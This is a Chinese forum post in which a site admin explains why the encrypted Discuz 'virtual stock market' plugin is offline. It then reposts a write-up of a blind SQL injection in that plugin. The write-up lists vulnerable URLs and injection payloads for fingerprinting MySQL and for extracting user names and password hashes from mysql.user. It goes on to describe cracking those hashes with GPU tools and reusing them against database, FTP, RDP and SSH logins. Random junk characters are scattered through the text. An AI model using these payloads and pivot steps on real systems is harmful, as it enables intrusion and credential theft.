TA的每日心情 | 擦汗 昨天 14:09 |
---|
签到天数: 2244 天 [LV.Master]伴坛终老
|
很多朋友在找虚拟股市,其实并非本站不想开放,插件出现了严重漏洞,而且这个插件是加密的,无法修改源码。' w1 k& c' k7 q3 C! Q
: N' r2 `4 D+ l2 w& y, a& t
我们一直在等在原作者站出来解决,假如作者一直出现的话,我们可能会放弃这个版本的虚拟股市,所有资金将换算成ec币,发放到各位的账号。! i) u; E& ~$ b7 w# Q6 m. `; Q! [6 `
0 _* T" q- Y" |" {9 D漏洞如下:! k2 k2 Z1 |3 C: H3 h5 e6 y, ?, {5 F
4 }, h; `( |0 S- W& R/ QDiscuz插件《虚拟股市》blind Injection Vul利用 " E- l* `/ Z8 j0 W0 [) Q
2 I) w5 s- l6 R8 `/ p5 ]* u
5 ]8 k8 H m2 ]$ v6 O8 h$ n3 G漏洞的发现来自于对某站的渗透,由于其discuz版本为7.0,所以我只能把眼光聚焦在了它所安装的第三方插件上。
: q0 \0 ^0 r( e经过简单的测试,就发现了《虚拟股市》存在注射漏洞: ) \+ P/ P" t! h, Z5 ~4 q; {
http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数 3 e3 x! B/ F9 B2 [
http://www.target.com/plugin.php ... ser_Show&uid=13 # 13为可变参数
9 p" \. J# a' i: p5 D2 Y5 Y确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。
* R1 K, q5 a3 ]/ U0 b$ i" L思路有二:
( G& x! Z, n: h4 i/ K% p7 Z1.尝试盲注 7 y2 U- b6 [" m9 x, r* H: p
2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数
- m/ u* L. ^: w' E但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因)。因此,只能采取盲注的手法(对我而言)。
2 n/ r& Y0 x$ ?7 y盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下: % @4 Q6 N$ M# f' R0 V5 e, S5 l5 e
#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4 5 M. e3 ]# A/ w% g& q" N
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5
+ v1 T! |" z1 M; ?; b5 ?#是否支持子查询(版本为4的情况下)
+ y6 Y9 w! f) ^- _+ {/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1 6 y U e# f8 V+ q* Y# y; ^" @) s
#当前用户是否为root : S$ @" E' D1 N4 k9 L* r
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1
; F' t: v; ]( R& H% W下面就根据情况而异了: # D) `4 K( X6 _2 V; M& N! \
1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。
, A0 X1 H6 e3 w+ [0 B2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。 7 s6 j! S& [6 C t [6 k
#######取数据 7 C' U4 G' [8 c. a
#mysql.user表第一行第一个字符的ASCII值是否大于80
/ f/ h& k- k# T3 }% W5 iand ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80 ! M' @/ }, y) K' n. Y
#第二个字符的ASCII值是否大于90 " f7 }. [" ^- }- o1 j& I
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90
& j, U* @. ~7 x) t6 w! Q………… 8 K8 V9 _7 ^, I3 X
就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。 9 W! M8 z7 A F- |
密码破解:
' j, R4 |: O; N2 L9 R9 f1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。
& k$ ]0 J2 v6 o: u0 H2.MYSQL 版本为5的话,我推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距。7位纯字母我只用了7分多钟就破出来了。 |
|